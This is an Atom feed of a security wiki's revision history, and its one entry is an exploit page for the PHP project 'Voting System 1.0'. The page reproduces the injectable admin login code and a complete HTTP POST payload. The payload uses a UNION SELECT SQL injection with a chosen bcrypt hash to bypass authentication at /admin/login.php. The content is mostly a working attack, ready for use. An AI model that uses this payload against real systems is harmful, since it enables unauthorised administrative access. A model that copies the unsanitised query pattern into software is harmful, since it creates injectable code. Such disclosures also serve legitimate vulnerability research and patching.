<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Voting_System_1.0_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E</id>
	<title>Voting System 1.0 身份驗證繞過漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Voting_System_1.0_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Voting_System_1.0_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-11T21:24:08Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Voting_System_1.0_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=2725&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI) # Date: 06/05/2021 # Exploit Author: secure77 # Vendor Homepage: https://www.sourcecodester.com...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Voting_System_1.0_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=2725&amp;oldid=prev"/>
		<updated>2021-05-08T02:03:18Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI) # Date: 06/05/2021 # Exploit Author: secure77 # Vendor Homepage: https://www.sourcecodester.com...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI)&lt;br /&gt;
# Date: 06/05/2021&lt;br /&gt;
# Exploit Author: secure77&lt;br /&gt;
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&amp;amp;title=Voting+System+using+PHP%2FMySQLi+with+Source+Code&lt;br /&gt;
# Version: 1.0&lt;br /&gt;
# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 &amp;amp; Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB&lt;br /&gt;
&lt;br /&gt;
You can simply bypass the /admin/login.php with the following sql injection.&lt;br /&gt;
All you need is a bcrypt hash that is equal with your random password, the username should NOT match with an existing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
########################### Vulnerable code ############################&lt;br /&gt;
if(isset($_POST['login'])){&lt;br /&gt;
	$username = $_POST['username'];&lt;br /&gt;
	$password = $_POST['password'];&lt;br /&gt;
&lt;br /&gt;
	$sql = &amp;quot;SELECT * FROM admin WHERE username = '$username'&amp;quot;;&lt;br /&gt;
	$query = $conn-&amp;gt;query($sql);&lt;br /&gt;
&lt;br /&gt;
	if($query-&amp;gt;num_rows &amp;lt; 1){&lt;br /&gt;
		$_SESSION['error'] = 'Cannot find account with the username';&lt;br /&gt;
	}&lt;br /&gt;
	else{&lt;br /&gt;
		$row = $query-&amp;gt;fetch_assoc();&lt;br /&gt;
		echo &amp;quot;DB Password: &amp;quot; . $row['password'];&lt;br /&gt;
		echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
		echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
		echo &amp;quot;Input Password: &amp;quot; . $password;&lt;br /&gt;
		if(password_verify($password, $row['password'])){&lt;br /&gt;
			echo &amp;quot;Equal&amp;quot;;&lt;br /&gt;
			$_SESSION['admin'] = $row['id'];&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			echo &amp;quot;not Equal&amp;quot;;&lt;br /&gt;
			$_SESSION['error'] = 'Incorrect password';&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
}&lt;br /&gt;
else{&lt;br /&gt;
	$_SESSION['error'] = 'Input admin credentials first';&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
########################### Payload ############################&lt;br /&gt;
POST /admin/login.php HTTP/1.1&lt;br /&gt;
Host: 192.168.1.1&lt;br /&gt;
DNT: 1&lt;br /&gt;
Upgrade-Insecure-Requests: 1&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7&lt;br /&gt;
Cookie: PHPSESSID=tliephrsj1d5ljhbvsbccnqmff&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-Length: 167&lt;br /&gt;
&lt;br /&gt;
login=yea&amp;amp;password=admin&amp;amp;username=dsfgdf' UNION SELECT 1,2,&amp;quot;$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K&amp;quot;,4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>